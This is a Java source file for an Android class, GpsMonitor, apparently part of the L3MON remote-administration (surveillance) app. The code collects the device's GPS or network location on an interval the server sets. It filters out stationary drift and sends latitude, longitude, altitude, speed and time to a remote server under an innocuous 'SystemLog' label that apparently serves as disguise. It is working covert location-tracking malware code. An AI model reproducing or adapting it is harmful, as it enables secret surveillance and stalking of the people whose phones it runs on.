package com.etechd.l3mon;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;

import org.json.JSONObject;

/**
 * Reportes GPS periódicos según gps_interval del servidor.
 * Filtra deriva en parada y evita spam de onLocationChanged.
 */
public class GpsMonitor implements LocationListener {
    private static final String TAG = "SystemLog";
    private static GpsMonitor instance;
    private static int intervalSeconds = 0;

    private final Context context;
    private final Handler handler = new Handler(Looper.getMainLooper());
    private LocationManager locationManager;
    private Runnable tickRunnable;
    private String activeProvider;

    private GpsMonitor(Context context) {
        this.context = context.getApplicationContext();
        GpsLocationFilter.loadState(this.context);
    }

    public static synchronized void updateInterval(Context context, int seconds) {
        if (context == null) {
            return;
        }
        GpsLocationFilter.setReportIntervalSeconds(seconds >= 30 ? seconds : 300);
        if (seconds < 30) {
            intervalSeconds = seconds;
            if (instance != null) {
                instance.stop();
            }
            return;
        }
        intervalSeconds = seconds;
        if (instance == null) {
            instance = new GpsMonitor(context);
        }
        instance.restart(seconds);
    }

    public static void stop() {
        if (instance != null) {
            instance.stopInternal();
        }
    }

    private void stopInternal() {
        stopPeriodicTick();
        if (locationManager != null) {
            try {
                locationManager.removeUpdates(this);
            } catch (Exception ignored) {
            }
        }
        activeProvider = null;
    }

    private void restart(int seconds) {
        stopInternal();
        GpsLocationFilter.setReportIntervalSeconds(seconds);
        GpsLocationFilter.loadState(context);
        if (!hasLocationPermission()) {
            Log.w(TAG, "GPS: sin permiso de ubicación");
            return;
        }
        try {
            locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
            if (locationManager == null) {
                return;
            }
            long minTime = Math.max(seconds * 1000L, 30000L);
            activeProvider = chooseProvider();
            if (activeProvider != null) {
                locationManager.requestLocationUpdates(
                        activeProvider, minTime, 0f, this, Looper.getMainLooper());
            } else {
                Log.w(TAG, "GPS: ningún proveedor de ubicación activo");
            }

            schedulePeriodicTick(seconds);
            tryReportFromBest("inicio", false);
            Log.i(TAG, "GPS monitor cada " + seconds + "s (filtro activo)");
        } catch (SecurityException e) {
            Log.e(TAG, "GPS permiso denegado: " + e.getMessage());
        } catch (Exception e) {
            Log.e(TAG, "GPS start: " + e.getMessage());
        }
    }

    private String chooseProvider() {
        if (locationManager == null) {
            return null;
        }
        if (locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
            return LocationManager.GPS_PROVIDER;
        }
        if (locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) {
            return LocationManager.NETWORK_PROVIDER;
        }
        return null;
    }

    private void schedulePeriodicTick(int seconds) {
        stopPeriodicTick();
        final int periodMs = seconds * 1000;
        tickRunnable = new Runnable() {
            @Override
            public void run() {
                tryReportFromBest("tick", true);
                handler.postDelayed(this, periodMs);
            }
        };
        handler.postDelayed(tickRunnable, periodMs);
    }

    private void stopPeriodicTick() {
        if (tickRunnable != null) {
            handler.removeCallbacks(tickRunnable);
            tickRunnable = null;
        }
    }

    private void tryReportFromBest(String reason, boolean enforceInterval) {
        if (!hasLocationPermission() || locationManager == null) {
            return;
        }
        Location best = getBestLastKnown();
        if (best == null) {
            if ("tick".equals(reason)) {
                requestFreshLocation();
            }
            return;
        }
        if ("tick".equals(reason) && GpsLocationFilter.isInStationaryZone(best)) {
            return;
        }
        boolean ok = enforceInterval
                ? GpsLocationFilter.shouldReportOnTick(best)
                : GpsLocationFilter.shouldReportOnListener(best);
        if (ok) {
            reportLocation(best, reason);
        }
    }

    private Location getBestLastKnown() {
        Location best = null;
        try {
            if (locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
                best = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
            }
            if (best == null && locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) {
                best = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
            }
            if (best == null && Build.VERSION.SDK_INT >= 31) {
                best = locationManager.getLastKnownLocation(LocationManager.FUSED_PROVIDER);
            }
        } catch (SecurityException e) {
            Log.e(TAG, "GPS lectura: " + e.getMessage());
        }
        return best;
    }

    private void requestFreshLocation() {
        if (locationManager == null) {
            return;
        }
        String provider = activeProvider != null ? activeProvider : chooseProvider();
        if (provider == null) {
            return;
        }
        try {
            final String chosen = provider;
            locationManager.requestSingleUpdate(chosen, new LocationListener() {
                @Override
                public void onLocationChanged(Location location) {
                    if (location != null && GpsLocationFilter.shouldReportOnTick(location)) {
                        reportLocation(location, "tick-fresh");
                    }
                    try {
                        locationManager.removeUpdates(this);
                    } catch (Exception ignored) {
                    }
                }

                @Override
                public void onStatusChanged(String provider, int status, Bundle extras) {
                }

                @Override
                public void onProviderEnabled(String provider) {
                }

                @Override
                public void onProviderDisabled(String provider) {
                }
            }, Looper.getMainLooper());
        } catch (SecurityException e) {
            Log.e(TAG, "GPS tick-fresh: " + e.getMessage());
        }
    }

    private boolean hasLocationPermission() {
        if (Build.VERSION.SDK_INT < 23) {
            return true;
        }
        boolean fine = context.checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION)
                == PackageManager.PERMISSION_GRANTED;
        boolean coarse = context.checkSelfPermission(Manifest.permission.ACCESS_COARSE_LOCATION)
                == PackageManager.PERMISSION_GRANTED;
        return fine || coarse;
    }

    private void reportLocation(Location loc, String reason) {
        try {
            JSONObject data = new JSONObject();
            data.put("enabled", true);
            data.put("latitude", loc.getLatitude());
            data.put("longitude", loc.getLongitude());
            data.put("altitude", loc.getAltitude());
            data.put("accuracy", loc.getAccuracy());
            data.put("speed", loc.getSpeed());
            data.put("recorded_at", loc.getTime());
            if (SystemLogApi.report("0xLO", data)) {
                GpsLocationFilter.markSent(context, loc);
                if ("cambio".equals(reason) || reason.startsWith("listener")) {
                    GpsLocationFilter.markListenerReport();
                }
                Log.i(TAG, "GPS enviado (" + reason + ") " + loc.getLatitude() + "," + loc.getLongitude());
            } else {
                Log.w(TAG, "GPS no aceptado por el servidor (" + reason + ")");
            }
        } catch (Exception e) {
            Log.e(TAG, "GPS report: " + e.getMessage());
        }
    }

    @Override
    public void onLocationChanged(Location location) {
        if (location == null) {
            return;
        }
        if (GpsLocationFilter.shouldReportOnListener(location)) {
            reportLocation(location, "cambio");
        }
    }

    @Override
    public void onStatusChanged(String provider, int status, Bundle extras) {
    }

    @Override
    public void onProviderEnabled(String provider) {
    }

    @Override
    public void onProviderDisabled(String provider) {
    }
}
